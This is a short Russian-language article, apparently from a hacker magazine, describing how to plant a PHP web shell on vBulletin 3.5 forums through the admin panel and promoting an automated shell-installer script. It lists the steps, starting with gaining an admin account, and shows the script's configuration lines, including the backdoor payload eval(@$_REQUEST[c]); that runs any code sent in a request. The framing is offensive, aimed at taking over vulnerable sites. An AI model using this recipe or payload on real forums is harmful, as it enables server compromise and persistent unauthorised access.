Частенько на просторах Сети встречаются
бажные форумы, через которые, порой, очень хочется залить шелл,
дабы обрести полноценный доступ к серверу :). Популярный
форумный двиг vBulletin aka булка — не исключение. Залить шелл
через админку сего продукта довольно просто. Для этого следует:

  1. Поиметь админский аккаунт (только не спрашивай меня:
    «как?»)
  2. Залогиниться в админке
  3. Добавить новый модуль с телом нашего шелла (не более 60
    Кб)

Однако, когда бажных форумов много, а времени — мало,
разумнее заливать шеллы в автоматическом режиме, благо,
специально для этих целей был написан «vBulletin shell
installer» от товарища DeusTirael. Все, что от тебя требуется —
подправить пару строк в конфиге скрипта, а именно:

$login = "admin"; // логин админа
форума
$passw = "password"; // пароль админа форума
$cookies = ""; // куки
$admincp = "http://blablabla.com/vbl/admincp/"; // полный
http-линк до админки
$pltitle = "plugin"; // plugin title
$shellcode = 'eval(@$_REQUEST[c]);'; // код пхп-шелла

P.S. Скрипт успешно работает с vBulletin
3.5.*.

Оставить мнение

Check Also

Антиотладка. Теория и практика защиты приложений от дебага

К методам детектирования отладки прибегают многие программисты: одни хотели бы уберечь сво…